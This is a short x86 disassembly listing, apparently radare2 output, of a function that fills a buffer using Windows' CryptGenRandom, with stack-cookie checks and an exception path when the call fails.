mov eax, dword [0x4c9080]
xor eax, esp
mov dword [esp + 0x3c], eax
push esi
mov esi, dword [esp + 0x48]
lea ecx, [esp + 7]
call fcn.00477dd0
push esi
push dword [esp + 0x50]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
pop esi
test eax, eax
je 0x477d9f
mov ecx, dword [esp + 0x3c]
xor ecx, esp
call fcn.0043b37f
add esp, 0x40
ret 8
push 0x4b05e8
lea ecx, [esp + 8]
call fcn.0040c569
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0x20]
call fcn.00477a20
push 0x4c713c
lea eax, [esp + 0x20]
push eax
call fcn.0043d3c2
int3